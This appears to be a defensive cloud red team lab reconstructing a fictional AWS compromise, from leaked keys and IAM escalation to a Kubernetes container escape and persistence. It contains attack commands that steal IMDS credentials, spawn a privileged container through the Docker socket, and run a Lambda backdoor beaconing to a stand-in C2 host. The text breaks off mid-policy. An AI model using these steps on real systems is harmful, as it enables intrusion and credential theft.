Lab 13: Cloud Red Team Simulation¶
Chapter: 46 — Cloud & Container Red Teaming Difficulty: ⭐⭐⭐ Advanced Estimated Time: 3–4 hours Prerequisites: Chapter 46, Chapter 20, basic AWS/Azure knowledge
Overview¶
In this lab you will:
- Perform cloud reconnaissance to identify exposed storage buckets and misconfigured services using synthetic AWS CLI output
- Analyze overpermissive IAM policies to discover privilege escalation paths (iam:PassRole, sts:AssumeRole)
- Examine container configurations for escape vectors and review Kubernetes RBAC for excessive permissions
- Investigate cloud persistence mechanisms including Lambda backdoors and cross-account role trust abuse
- Write detection queries (KQL + SPL) to identify each stage of the cloud attack chain
- Map all findings to MITRE ATT&CK techniques for cloud environments
Synthetic Data Only
All data in this lab is 100% synthetic and fictional. All IP addresses use RFC 5737 (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24) or RFC 1918 (10.0.0.0/8, 172.16.0.0/12) reserved ranges. All AWS account IDs use the synthetic value 123456789012. No real cloud accounts, real credentials, or real infrastructure are referenced. All credentials shown as REDACTED. This lab is for defensive education only — never use these techniques against systems you do not own.
Scenario¶
Incident Brief — ACME Cloud Corp
Organization: ACME Cloud Corp (fictional) Cloud Provider: AWS (synthetic environment) AWS Account ID: 123456789012 (SYNTHETIC) VPC CIDR: 10.0.0.0/16 Region: us-east-1 (SYNTHETIC) Incident Start: 2026-03-20 09:15 UTC Report Time: 2026-03-20 14:30 UTC Threat Actor Designation: SYNTHETIC-CLOUD-1 (fictional)
Summary: The ACME Cloud Corp security team detected anomalous API calls in their AWS CloudTrail logs originating from an unfamiliar IP address (192.0.2.50). The threat actor obtained leaked developer credentials from a public code repository (SYNTHETIC scenario), used them to enumerate the AWS environment, escalated privileges via an overpermissive IAM role, compromised a containerized workload, established persistence via Lambda functions and cross-account roles, and attempted to exfiltrate data from S3 buckets. The red team exercise reconstructs this attack chain for defensive analysis.
Part 1: Cloud Reconnaissance¶
1.1 Initial Credential Discovery¶
The threat actor discovered hardcoded AWS credentials in a public repository. Below is the synthetic commit that exposed them.
# SYNTHETIC repository commit (fictional)
# Repository: github.example/acme-cloud-corp/internal-tools
# Commit: a1b2c3d4e5f6 (SYNTHETIC)
# Author: dev-user@acme-cloud-corp.example
# Date: 2026-03-19T22:14:00Z
diff --git a/config/settings.py b/config/settings.py
+AWS_ACCESS_KEY_ID = "AKIA0000SYNTHETIC01"
+AWS_SECRET_ACCESS_KEY = "REDACTED"
+AWS_DEFAULT_REGION = "us-east-1"
+S3_BUCKET = "acme-internal-data-prod"
Credential Exposure
Hardcoded credentials in source control are one of the most common initial access vectors for cloud compromises. In this scenario the developer committed AWS access keys directly into a public repository. Automated secret-scanning tools (e.g., GitHub Secret Scanning, truffleHog, git-secrets) would have prevented this exposure.
1.2 S3 Bucket Enumeration¶
Using the leaked credentials, the threat actor enumerated accessible S3 buckets.
# SYNTHETIC AWS CLI output — bucket listing
$ aws s3 ls --profile synthetic-acme
2025-06-12 08:30:00 acme-internal-data-prod
2025-09-03 14:22:00 acme-cloudtrail-logs-123456789012
2025-11-18 10:45:00 acme-terraform-state
2026-01-05 09:00:00 acme-employee-backups
2026-02-14 16:30:00 acme-public-assets
2026-03-01 11:15:00 acme-lambda-deployments
# SYNTHETIC — checking bucket ACLs and policies
$ aws s3api get-bucket-acl --bucket acme-internal-data-prod --profile synthetic-acme
{
"Owner": {
"ID": "0000000000000000000000000000000000000000000000000000000000000001"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AllUsers"
},
"Permission": "READ"
},
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
Critical Misconfiguration
The acme-internal-data-prod bucket has two dangerous grants:
- AllUsers: READ — Anyone on the internet can list and read objects
- AuthenticatedUsers: FULL_CONTROL — Any authenticated AWS user (not just ACME employees) can read, write, and modify ACLs
This violates AWS security best practices. S3 Block Public Access should be enabled at the account level.
1.3 CloudTrail Log Analysis — Reconnaissance Phase¶
The following CloudTrail entries show the threat actor's enumeration activity.
// SYNTHETIC CloudTrail log entries — Reconnaissance
// Trail: acme-cloudtrail-logs-123456789012/AWSLogs/123456789012/CloudTrail/us-east-1/
{
"Records": [
{
"eventTime": "2026-03-20T09:15:22Z",
"eventSource": "s3.amazonaws.com",
"eventName": "ListBuckets",
"awsRegion": "us-east-1",
"sourceIPAddress": "192.0.2.50",
"userAgent": "aws-cli/2.15.0 Python/3.11.0 Linux/5.15.0",
"userIdentity": {
"type": "IAMUser",
"arn": "arn:aws:iam::123456789012:user/dev-deploy-svc",
"accountId": "123456789012",
"userName": "dev-deploy-svc",
"accessKeyId": "AKIA0000SYNTHETIC01"
},
"responseElements": null,
"requestParameters": null,
"readOnly": true
},
{
"eventTime": "2026-03-20T09:15:45Z",
"eventSource": "s3.amazonaws.com",
"eventName": "GetBucketAcl",
"awsRegion": "us-east-1",
"sourceIPAddress": "192.0.2.50",
"userIdentity": {
"type": "IAMUser",
"arn": "arn:aws:iam::123456789012:user/dev-deploy-svc",
"accountId": "123456789012",
"userName": "dev-deploy-svc",
"accessKeyId": "AKIA0000SYNTHETIC01"
},
"requestParameters": {
"bucketName": "acme-internal-data-prod",
"acl": ""
},
"readOnly": true
},
{
"eventTime": "2026-03-20T09:16:03Z",
"eventSource": "iam.amazonaws.com",
"eventName": "ListUsers",
"awsRegion": "us-east-1",
"sourceIPAddress": "192.0.2.50",
"userIdentity": {
"type": "IAMUser",
"arn": "arn:aws:iam::123456789012:user/dev-deploy-svc",
"accountId": "123456789012",
"userName": "dev-deploy-svc",
"accessKeyId": "AKIA0000SYNTHETIC01"
},
"readOnly": true
},
{
"eventTime": "2026-03-20T09:16:18Z",
"eventSource": "iam.amazonaws.com",
"eventName": "ListRoles",
"awsRegion": "us-east-1",
"sourceIPAddress": "192.0.2.50",
"userIdentity": {
"type": "IAMUser",
"arn": "arn:aws:iam::123456789012:user/dev-deploy-svc",
"accountId": "123456789012",
"userName": "dev-deploy-svc",
"accessKeyId": "AKIA0000SYNTHETIC01"
},
"readOnly": true
},
{
"eventTime": "2026-03-20T09:16:30Z",
"eventSource": "iam.amazonaws.com",
"eventName": "ListAttachedUserPolicies",
"awsRegion": "us-east-1",
"sourceIPAddress": "192.0.2.50",
"userIdentity": {
"type": "IAMUser",
"arn": "arn:aws:iam::123456789012:user/dev-deploy-svc",
"accountId": "123456789012",
"userName": "dev-deploy-svc",
"accessKeyId": "AKIA0000SYNTHETIC01"
},
"requestParameters": {
"userName": "dev-deploy-svc"
},
"readOnly": true
}
]
}
Enumeration Pattern
The threat actor followed a systematic cloud reconnaissance pattern in just over 1 minute:
- 09:15:22 —
ListBuckets— Discovered all S3 buckets in the account - 09:15:45 —
GetBucketAcl— Checked permissions on the data bucket - 09:16:03 —
ListUsers— Enumerated IAM users - 09:16:18 —
ListRoles— Enumerated IAM roles (looking for assumable roles) - 09:16:30 —
ListAttachedUserPolicies— Checked own permissions
All calls originated from 192.0.2.50 (SYNTHETIC) using access key AKIA0000SYNTHETIC01. This pattern is consistent with tools like enumerate-iam, Pacu, or ScoutSuite.
1.4 Analysis Questions — Part 1¶
Question 1: What initial access vector did the threat actor use? What MITRE ATT&CK technique does this map to?
Answer
The threat actor discovered hardcoded AWS credentials (access key AKIA0000SYNTHETIC01 for user dev-deploy-svc) committed to a public repository. This maps to T1552.001 — Unsecured Credentials: Credentials in Files. The credentials were committed on 2026-03-19T22:14:00Z and first used by the attacker on 2026-03-20T09:15:22Z — approximately 11 hours of exposure before exploitation.
Question 2: What security misconfiguration exists on the acme-internal-data-prod S3 bucket, and what is the maximum impact?
Answer
Two critical misconfigurations:
- AllUsers: READ — Any anonymous internet user can list and download all objects in the bucket
- AuthenticatedUsers: FULL_CONTROL — Any AWS account holder worldwide can read, write, delete, and change permissions on the bucket
Maximum impact: Complete data breach (read all data), data tampering (modify/replace objects), data destruction (delete all objects), and ACL modification (lock out the legitimate owner). This maps to T1530 — Data from Cloud Storage.
Question 3: From the CloudTrail logs, what enumeration tools or techniques is the threat actor likely using? What is the evidence?
Answer
The systematic, rapid-fire API calls (ListBuckets → GetBucketAcl → ListUsers → ListRoles → ListAttachedUserPolicies) in a 68-second window strongly suggest an automated enumeration tool such as Pacu, enumerate-iam, or ScoutSuite. Evidence:
- Consistent
sourceIPAddress(192.0.2.50) across all calls - Consistent
userAgent(aws-cli/2.15.0) - Logical progression from service enumeration → identity enumeration → permission enumeration
- No human browsing patterns (no console sign-in events)
Part 2: IAM Privilege Escalation¶
2.1 Initial User Permissions¶
The compromised user dev-deploy-svc had the following IAM policy attached.
// SYNTHETIC IAM Policy — dev-deploy-svc-policy
// arn:aws:iam::123456789012:policy/dev-deploy-svc-policy
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "S3DeployAccess",
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:PutObject",
"s3:ListBucket",
"s3:GetBucketAcl"
],
"Resource": [
"arn:aws:s3:::acme-*",
"arn:aws:s3:::acme-*/*"
]
},
{
"Sid": "IAMReadOnly",
"Effect": "Allow",
"Action": [
"iam:ListUsers",
"iam:ListRoles",
"iam:ListPolicies",
"iam:GetPolicy",
"iam:GetPolicyVersion",
"iam:GetRole",
"iam:GetRolePolicy",
"iam:ListAttachedUserPolicies",
"iam:ListAttachedRolePolicies",
"iam:ListRolePolicies"
],
"Resource": "*"
},
{
"Sid": "OverpermissivePassRole",
"Effect": "Allow",
"Action": [
"iam:PassRole"
],
"Resource": "arn:aws:iam::123456789012:role/*"
},
{
"Sid": "LambdaManagement",
"Effect": "Allow",
"Action": [
"lambda:CreateFunction",
"lambda:InvokeFunction",
"lambda:UpdateFunctionCode",
"lambda:UpdateFunctionConfiguration",
"lambda:ListFunctions",
"lambda:GetFunction"
],
"Resource": "*"
},
{
"Sid": "STSAssume",
"Effect": "Allow",
"Action": [
"sts:AssumeRole"
],
"Resource": "arn:aws:iam::123456789012:role/admin-*"
},
{
"Sid": "EC2ContainerAccess",
"Effect": "Allow",
"Action": [
"ec2:DescribeInstances",
"ecs:ListClusters",
"ecs:DescribeClusters",
"ecs:ListTasks",
"ecs:DescribeTasks",
"eks:ListClusters",
"eks:DescribeCluster"
],
"Resource": "*"
}
]
}
Privilege Escalation Paths
This policy contains three critical escalation vectors:
- iam:PassRole with wildcard resource (
arn:aws:iam::123456789012:role/*) — The user can pass any IAM role to an AWS service, including admin roles - lambda:CreateFunction + iam:PassRole — The user can create a Lambda function with an admin role attached, then invoke it to execute arbitrary code as that role
- sts:AssumeRole on admin-* — The user can directly assume any role matching
admin-*
Any one of these paths alone is sufficient for full account compromise.
2.2 Discoverable Admin Role¶
The threat actor enumerated roles and found the following overpermissive role.
// SYNTHETIC IAM Role — admin-lambda-execution
// arn:aws:iam::123456789012:role/admin-lambda-execution
{
"Role": {
"RoleName": "admin-lambda-execution",
"Arn": "arn:aws:iam::123456789012:role/admin-lambda-execution",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
},
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::123456789012:root"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600,
"CreateDate": "2025-08-14T10:00:00Z"
}
}
// Attached policy: AdministratorAccess (AWS Managed)
// arn:aws:iam::aws:policy/AdministratorAccess
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
Role Trust Policy Analysis
The admin-lambda-execution role has AdministratorAccess and can be assumed by:
- lambda.amazonaws.com — Lambda functions can use this role (legitimate use case, but overpermissive policy)
- arn:aws:iam::123456789012:root — Any IAM principal in account
123456789012can assume this role
Combined with the compromised user's sts:AssumeRole permission on admin-* roles, this provides a direct path to administrative access.
2.3 CloudTrail — Privilege Escalation Execution¶
// SYNTHETIC CloudTrail — Privilege Escalation via AssumeRole
{
"Records": [
{
"eventTime": "2026-03-20T09:22:15Z",
"eventSource": "sts.amazonaws.com",
"eventName": "AssumeRole",
"awsRegion": "us-east-1",
"sourceIPAddress": "192.0.2.50",
"userIdentity": {
"type": "IAMUser",
"arn": "arn:aws:iam::123456789012:user/dev-deploy-svc",
"accountId": "123456789012",
"userName": "dev-deploy-svc",
"accessKeyId": "AKIA0000SYNTHETIC01"
},
"requestParameters": {
"roleArn": "arn:aws:iam::123456789012:role/admin-lambda-execution",
"roleSessionName": "escalation-session",
"durationSeconds": 3600
},
"responseElements": {
"credentials": {
"accessKeyId": "ASIA0000SYNTHETIC02",
"sessionToken": "REDACTED",
"expiration": "2026-03-20T10:22:15Z"
},
"assumedRoleUser": {
"arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session",
"assumedRoleId": "AROA0000SYNTHETIC01:escalation-session"
}
}
},
{
"eventTime": "2026-03-20T09:23:01Z",
"eventSource": "iam.amazonaws.com",
"eventName": "CreateUser",
"awsRegion": "us-east-1",
"sourceIPAddress": "192.0.2.50",
"userIdentity": {
"type": "AssumedRole",
"arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session",
"accountId": "123456789012"
},
"requestParameters": {
"userName": "svc-health-monitor"
},
"responseElements": {
"user": {
"arn": "arn:aws:iam::123456789012:user/svc-health-monitor",
"userId": "AIDA0000SYNTHETIC03",
"createDate": "2026-03-20T09:23:01Z",
"userName": "svc-health-monitor"
}
}
},
{
"eventTime": "2026-03-20T09:23:18Z",
"eventSource": "iam.amazonaws.com",
"eventName": "AttachUserPolicy",
"awsRegion": "us-east-1",
"sourceIPAddress": "192.0.2.50",
"userIdentity": {
"type": "AssumedRole",
"arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session",
"accountId": "123456789012"
},
"requestParameters": {
"userName": "svc-health-monitor",
"policyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
}
},
{
"eventTime": "2026-03-20T09:23:35Z",
"eventSource": "iam.amazonaws.com",
"eventName": "CreateAccessKey",
"awsRegion": "us-east-1",
"sourceIPAddress": "192.0.2.50",
"userIdentity": {
"type": "AssumedRole",
"arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session",
"accountId": "123456789012"
},
"requestParameters": {
"userName": "svc-health-monitor"
},
"responseElements": {
"accessKey": {
"accessKeyId": "AKIA0000SYNTHETIC03",
"status": "Active",
"userName": "svc-health-monitor",
"createDate": "2026-03-20T09:23:35Z"
}
}
}
]
}
Escalation Complete
The attack chain in 78 seconds:
| Time (UTC) | Action | Description |
|---|---|---|
| 09:22:15 | AssumeRole | Assumed admin-lambda-execution role → gained AdministratorAccess |
| 09:23:01 | CreateUser | Created backdoor user svc-health-monitor |
| 09:23:18 | AttachUserPolicy | Attached AdministratorAccess to backdoor user |
| 09:23:35 | CreateAccessKey | Generated persistent access keys for backdoor user |
The threat actor now has two sets of administrative credentials: the assumed role session (expires in 1 hour) and the new svc-health-monitor access keys (persistent until rotated).
2.4 Analysis Questions — Part 2¶
Question 4: Identify all three privilege escalation paths available in the dev-deploy-svc IAM policy. Which one did the attacker use?
Answer
Three escalation paths:
- Direct AssumeRole —
sts:AssumeRoleonarn:aws:iam::123456789012:role/admin-*allows assuming any role matching theadmin-*pattern. Theadmin-lambda-executionrole has AdministratorAccess. - Lambda + PassRole —
lambda:CreateFunction+iam:PassRole(wildcard) allows creating a Lambda function with any role attached, including admin roles. Invoking the function executes code with that role's permissions. - PassRole to any service —
iam:PassRolewitharn:aws:iam::123456789012:role/*allows passing any role to any AWS service that supports role attachment (EC2, ECS, Lambda, etc.).
The attacker used Path 1 (Direct AssumeRole) as evidenced by the sts:AssumeRole CloudTrail event at 09:22:15Z targeting admin-lambda-execution.
MITRE ATT&CK mapping: T1078.004 — Valid Accounts: Cloud Accounts.
Question 5: What persistence mechanism did the attacker establish after escalating privileges? Why is this more dangerous than the original compromised credentials?
Answer
The attacker created a new IAM user svc-health-monitor with AdministratorAccess and generated access keys (AKIA0000SYNTHETIC03). This is more dangerous because:
- Persistent — Unlike the AssumeRole session (1-hour expiry), the new access keys never expire unless explicitly deleted or deactivated
- Independent — Revoking the original
dev-deploy-svccredentials does not affect the backdoor user - Camouflaged — The name
svc-health-monitormimics a legitimate service account, making it harder to identify during IAM audits - Full admin — AdministratorAccess grants
Action: "*"onResource: "*"— complete account control
MITRE ATT&CK mapping: T1136.003 — Create Account: Cloud Account.
Part 3: Container Escape Analysis¶
3.1 ECS/EKS Cluster Enumeration¶
After escalating privileges, the threat actor enumerated containerized workloads.
# SYNTHETIC — EKS cluster discovery
$ aws eks list-clusters --region us-east-1 --profile escalated-session
{
"clusters": [
"acme-prod-cluster",
"acme-staging-cluster"
]
}
# SYNTHETIC — EKS cluster details
$ aws eks describe-cluster --name acme-prod-cluster --region us-east-1 --profile escalated-session
{
"cluster": {
"name": "acme-prod-cluster",
"arn": "arn:aws:eks:us-east-1:123456789012:cluster/acme-prod-cluster",
"version": "1.28",
"endpoint": "https://SYNTHETIC000000.gr7.us-east-1.eks.amazonaws.com",
"certificateAuthority": {
"data": "REDACTED"
},
"platformVersion": "eks.5",
"status": "ACTIVE",
"resourcesVpcConfig": {
"subnetIds": [
"subnet-0000000000000001",
"subnet-0000000000000002"
],
"securityGroupIds": [
"sg-0000000000000001"
],
"clusterSecurityGroupId": "sg-0000000000000002",
"vpcId": "vpc-0000000000000001",
"endpointPublicAccess": true,
"endpointPrivateAccess": true,
"publicAccessCidrs": [
"0.0.0.0/0"
]
},
"logging": {
"clusterLogging": [
{
"types": ["api", "audit"],
"enabled": false
}
]
}
}
}
EKS Misconfigurations
- Public API endpoint with
0.0.0.0/0— The Kubernetes API server is accessible from any IP address on the internet - Audit logging disabled — API audit events are not being captured, creating a visibility gap
- Both misconfigurations violate CIS EKS Benchmark controls
3.2 Vulnerable Pod Configuration¶
The threat actor discovered a pod running with dangerous security settings.
# SYNTHETIC Kubernetes Pod Specification
# Namespace: acme-prod
# Retrieved via: kubectl get pod data-processor-7b8c9d -n acme-prod -o yaml
apiVersion: v1
kind: Pod
metadata:
name: data-processor-7b8c9d
namespace: acme-prod
labels:
app: data-processor
tier: backend
spec:
serviceAccountName: data-processor-sa
hostNetwork: true # CRITICAL: Shares host network namespace
hostPID: true # CRITICAL: Can see host processes
containers:
- name: data-processor
image: 123456789012.dkr.ecr.us-east-1.amazonaws.com/data-processor:latest
securityContext:
privileged: true # CRITICAL: Full host privileges
runAsUser: 0 # CRITICAL: Running as root
allowPrivilegeEscalation: true # CRITICAL: Can escalate privileges
capabilities:
add:
- SYS_ADMIN # CRITICAL: Mount filesystems, etc.
- NET_ADMIN # Can modify network config
- SYS_PTRACE # Can trace/debug other processes
volumeMounts:
- name: host-root
mountPath: /host
- name: docker-sock
mountPath: /var/run/docker.sock # CRITICAL: Docker socket mounted
env:
- name: AWS_ACCESS_KEY_ID
value: "AKIA0000SYNTHETIC04" # Hardcoded credentials in env
- name: AWS_SECRET_ACCESS_KEY
value: "REDACTED"
ports:
- containerPort: 8080
resources:
limits:
memory: "512Mi"
cpu: "500m"
volumes:
- name: host-root
hostPath:
path: / # CRITICAL: Entire host filesystem mounted
type: Directory
- name: docker-sock
hostPath:
path: /var/run/docker.sock # CRITICAL: Docker socket accessible
type: Socket
Container Escape Vectors (8 Critical Issues)
| # | Finding | Risk | Escape Path |
|---|---|---|---|
| 1 | privileged: true | CRITICAL | Full access to host kernel, all devices |
| 2 | hostPID: true | HIGH | Can see and interact with host processes |
| 3 | hostNetwork: true | HIGH | Can sniff and inject traffic on host network |
| 4 | runAsUser: 0 | HIGH | Container runs as root |
| 5 | SYS_ADMIN capability | CRITICAL | Can mount filesystems, access host |
| 6 | Host root mounted at /host | CRITICAL | Direct read/write to entire host filesystem |
| 7 | Docker socket mounted | CRITICAL | Can create new privileged containers on host |
| 8 | Hardcoded AWS credentials in env | HIGH | Credentials exposed via env command or /proc |
Any single one of items 1, 5, 6, or 7 alone is sufficient for a complete container escape.
3.3 Container Escape Simulation¶
The threat actor exploited the mounted host filesystem and Docker socket to escape the container.
# SYNTHETIC — Container escape via host filesystem mount
# Executed inside data-processor-7b8c9d
# Step 1: Verify host filesystem access
$ ls /host/etc/hostname
acme-eks-node-01.internal
# Step 2: Read host SSH keys
$ cat /host/root/.ssh/authorized_keys
ssh-rsa AAAA0000SYNTHETIC...== admin@acme-cloud-corp.example
# Step 3: Access IMDS (Instance Metadata Service) via host network
$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
eks-node-role
$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-node-role
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA0000SYNTHETIC05",
"SecretAccessKey": "REDACTED",
"Token": "REDACTED",
"Expiration": "2026-03-20T15:30:00Z",
"LastUpdated": "2026-03-20T09:30:00Z"
}
# Step 4: Escape via Docker socket — spawn a privileged container on the host
$ curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{
"Image": "alpine:latest",
"Cmd": ["sh", "-c", "echo SYNTHETIC-ESCAPE > /hostfs/tmp/escape-proof"],
"HostConfig": {
"Binds": ["/:/hostfs"],
"Privileged": true
}
}'
{"Id":"0000000000000000000000000000000000000000000000000000000000000099"}
SYNTHETIC Demonstration
The above commands are synthetic and educational. In a real container escape scenario, the attacker would gain full control of the underlying EKS worker node, including access to the Instance Metadata Service (IMDS) and any IAM role attached to the node. IMDSv2 (requiring session tokens) mitigates direct IMDS access from containers.
3.4 Kubernetes RBAC — Overpermissive Service Account¶
# SYNTHETIC — Kubernetes ClusterRole and ClusterRoleBinding
# The data-processor service account has excessive RBAC permissions
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: data-processor-role
rules:
- apiGroups: [""]
resources: ["pods", "pods/exec", "pods/log", "secrets", "configmaps", "nodes"]
verbs: ["get", "list", "watch", "create", "update", "delete"]
- apiGroups: ["apps"]
resources: ["deployments", "daemonsets", "statefulsets"]
verbs: ["get", "list", "watch", "create", "update", "delete"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterroles", "clusterrolebindings"]
verbs: ["get", "list", "create", "bind"] # Can create new RBAC bindings
- apiGroups: [""]
resources: ["serviceaccounts"]
verbs: ["get", "list", "create", "update"]
- apiGroups: [""]
resources: ["serviceaccounts/token"]
verbs: ["create"] # Can mint SA tokens
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: data-processor-binding
subjects:
- kind: ServiceAccount
name: data-processor-sa
namespace: acme-prod
roleRef:
kind: ClusterRole
name: data-processor-role
apiGroup: rbac.authorization.k8s.io
RBAC Escalation Risks
The data-processor-sa service account can:
- Read secrets across all namespaces (
secrets: get, list) — can harvest other service account tokens and application secrets - Exec into pods (
pods/exec) — can execute commands in any running pod - Create RBAC bindings (
clusterrolebindings: create, bind) — can grant itself or others cluster-admin privileges - Mint service account tokens (
serviceaccounts/token: create) — can generate tokens for any service account
This is effectively cluster-admin without being named as such.
3.5 Analysis Questions — Part 3¶
Question 6: List all container escape vectors present in the pod specification. Which single misconfiguration provides the easiest escape path?
Answer
Container escape vectors:
privileged: true— Full host kernel accesshostPID: true— Host process visibility, enables process injection viaSYS_PTRACEhostNetwork: true— Host network namespace, enables IMDS access and network sniffingrunAsUser: 0— Root inside containerSYS_ADMINcapability — Can mount filesystems- Host root (
/) mounted at/host— Direct host filesystem access - Docker socket (
/var/run/docker.sock) mounted — Can create new containers on host allowPrivilegeEscalation: true— Can gain additional privileges
Easiest escape: The host root filesystem mounted at /host provides the simplest escape — no exploit needed, just chroot /host or directly read/write any file on the host. It requires zero technical sophistication.
MITRE ATT&CK mapping: T1611 — Escape to Host.
Question 7: How could the attacker leverage the Kubernetes RBAC permissions to achieve cluster-wide compromise?
Answer
The service account can achieve cluster-wide compromise through multiple paths:
- Secret harvesting:
kubectl get secrets --all-namespacesto collect all secrets including other SA tokens, TLS certificates, database passwords, and API keys - RBAC escalation: Create a new ClusterRoleBinding that binds
cluster-adminto thedata-processor-saservice account: - Token minting: Create tokens for more privileged service accounts in other namespaces
- Pod exec: Execute commands in any pod across all namespaces to access application data, environment variables, and mounted secrets
- DaemonSet deployment: Create a DaemonSet with hostPID/hostNetwork to run on every node
MITRE ATT&CK mapping: T1078.001 — Valid Accounts: Default Accounts (abuse of default service account permissions).
Part 4: Cloud Persistence¶
4.1 Lambda Backdoor¶
After gaining admin privileges, the threat actor created a Lambda function as a persistent backdoor.
// SYNTHETIC CloudTrail — Lambda backdoor creation
{
"Records": [
{
"eventTime": "2026-03-20T09:35:00Z",
"eventSource": "lambda.amazonaws.com",
"eventName": "CreateFunction20150331",
"awsRegion": "us-east-1",
"sourceIPAddress": "192.0.2.50",
"userIdentity": {
"type": "AssumedRole",
"arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session"
},
"requestParameters": {
"functionName": "acme-health-check-prod",
"runtime": "python3.11",
"role": "arn:aws:iam::123456789012:role/admin-lambda-execution",
"handler": "lambda_function.lambda_handler",
"timeout": 300,
"memorySize": 256,
"environment": {
"variables": {
"C2_ENDPOINT": "https://192.0.2.50:8443/callback",
"EXFIL_BUCKET": "acme-internal-data-prod"
}
},
"tags": {
"Team": "platform-engineering",
"Environment": "production",
"ManagedBy": "terraform"
}
}
}
]
}
Synthetic Lambda function code (educational analysis only):
# SYNTHETIC Lambda backdoor — for defensive analysis only
# Function: acme-health-check-prod
# This code is entirely fictional and educational
import json
import boto3
import urllib.request
import os
def lambda_handler(event, context):
"""
SYNTHETIC backdoor Lambda — masquerades as a health check.
Educational analysis only — not functional code.
"""
c2_endpoint = os.environ.get('C2_ENDPOINT', 'https://192.0.2.50:8443/callback')
exfil_bucket = os.environ.get('EXFIL_BUCKET', 'acme-internal-data-prod')
# Stage 1: Collect IAM information
sts = boto3.client('sts')
caller_identity = sts.get_caller_identity()
iam = boto3.client('iam')
users = iam.list_users()['Users']
roles = iam.list_roles()['Roles']
# Stage 2: List S3 objects in target bucket
s3 = boto3.client('s3')
objects = s3.list_objects_v2(Bucket=exfil_bucket, MaxKeys=100)
# Stage 3: Beacon to C2 with collected data (SYNTHETIC)
payload = json.dumps({
'account_id': caller_identity['Account'],
'arn': caller_identity['Arn'],
'user_count': len(users),
'role_count': len(roles),
'bucket_objects': objects.get('KeyCount', 0),
'timestamp': context.function_name
}).encode()
# SYNTHETIC — In reality this would exfiltrate data
# req = urllib.request.Request(c2_endpoint, data=payload)
# urllib.request.urlopen(req)
return {
'statusCode': 200,
'body': json.dumps({'status': 'healthy'})
}
Lambda Backdoor Indicators
Key indicators of this backdoor Lambda function:
- Overpermissive role: Uses
admin-lambda-execution(AdministratorAccess) — a health check function should never need admin access - C2 endpoint in environment variables:
C2_ENDPOINTpointing to 192.0.2.50:8443 - Exfiltration target configured:
EXFIL_BUCKETenvironment variable - Tag manipulation: Tagged as
ManagedBy: terraformto appear as infrastructure-as-code managed, discouraging manual inspection - Legitimate-sounding name:
acme-health-check-prodmimics a standard health check service
4.2 EventBridge Scheduled Trigger¶
The threat actor configured EventBridge to invoke the backdoor Lambda on a schedule.
// SYNTHETIC CloudTrail — EventBridge rule creation
{
"eventTime": "2026-03-20T09:36:30Z",
"eventSource": "events.amazonaws.com",
"eventName": "PutRule",
"sourceIPAddress": "192.0.2.50",
"userIdentity": {
"type": "AssumedRole",
"arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session"
},
"requestParameters": {
"name": "acme-health-check-schedule",
"scheduleExpression": "rate(15 minutes)",
"state": "ENABLED",
"description": "Production health check monitoring"
}
}
// SYNTHETIC CloudTrail — Target configuration
{
"eventTime": "2026-03-20T09:36:45Z",
"eventSource": "events.amazonaws.com",
"eventName": "PutTargets",
"sourceIPAddress": "192.0.2.50",
"requestParameters": {
"rule": "acme-health-check-schedule",
"targets": [
{
"id": "health-check-target",
"arn": "arn:aws:lambda:us-east-1:123456789012:function:acme-health-check-prod"
}
]
}
}
Scheduled Persistence
The EventBridge rule triggers the backdoor Lambda function every 15 minutes, providing:
- Persistent C2 beacon without long-running processes
- Automatic data collection and exfiltration on a schedule
- Resilience — even if access keys are rotated, the Lambda function runs with its own IAM role
- Difficult to detect — appears as a legitimate scheduled health check
MITRE ATT&CK mapping: T1053.007 — Scheduled Task/Job: Serverless Execution (Cloud).
4.3 Cross-Account Role Trust Abuse¶
The threat actor modified an IAM role's trust policy to allow access from an external AWS account.
// SYNTHETIC CloudTrail — Cross-account trust modification
{
"eventTime": "2026-03-20T09:40:00Z",
"eventSource": "iam.amazonaws.com",
"eventName": "UpdateAssumeRolePolicy",
"sourceIPAddress": "192.0.2.50",
"userIdentity": {
"type": "AssumedRole",
"arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session"
},
"requestParameters": {
"roleName": "admin-lambda-execution",
"policyDocument": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"lambda.amazonaws.com\"},\"Action\":\"sts:AssumeRole\"},{\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::123456789012:root\"},\"Action\":\"sts:AssumeRole\"},{\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::999888777666:root\"},\"Action\":\"sts:AssumeRole\"}]}"
}
}
Updated trust policy (formatted):
// SYNTHETIC — Modified trust policy for admin-lambda-execution
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
